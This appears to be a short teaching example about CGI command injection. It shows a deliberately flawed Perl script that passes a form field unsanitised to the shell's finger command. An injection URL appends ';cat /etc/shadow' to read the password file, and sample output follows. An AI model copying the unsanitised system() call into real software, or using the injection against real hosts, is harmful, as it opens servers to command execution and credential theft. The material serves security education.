Scripting Exploitation Example

The following flawed and insecure Perl program is supposed to run the Unix "finger" command for the user given on a form's USER field:
#!/usr/bin/perl
$query = $ENV{'QUERY_STRING'};
@pairs = split(/\&/, $query);
for (@pairs) {
        ($field, $val) = split(/=/);
        $field =~ s/\+/ /g;
        $field =~ s/\%(\w\w)/sprintf("%c", hex($1))/eg;
        $val =~ s/\+/ /g;
        $val =~ s/\%(\w\w)/sprintf("%c", hex($1))/eg;
        $field{$field} = $val;
}
$|=1;
print "Content-Type: text/plain\n\n";
system "finger $field{USER}\n";
Running the program with USER having the value "dds"
http://www.host.gr/cgi-bin/pe?USER=dds
will give the following result:
Login: dds                              Name: Diomidis Spinellis
Directory: /home/dds                    Shell: /bin/bash
On since Wed Jun 30 12:18 (EET) on ttyp0
   5 minutes 49 seconds idle
Adding to the URI a semicolon (the Unix shell command separator) and the command cat /etc/shadow
http://www.host.gr/cgi-bin/pe?USER=dds;cat%20/etc/shadow
may send us the encoded contents of the system's password file after the results of the finger command.
Login: dds                              Name: Diomidis Spinellis
Directory: /home/dds                    Shell: /bin/bash
On since Wed Jun 30 12:18 (EET) on ttyp0
   5 minutes 49 seconds idle

root:XXXXXXXXXXXXX:0:0:Charlie Root:/root:/bin/bash
bin:*:1:1:bin:/bin:
daemon:*:2:2:The Devil Himself:/sbin:
adm:*:3:4:adm:/var/adm:
lp:*:4:7:lp:/var/spool/lpd:
...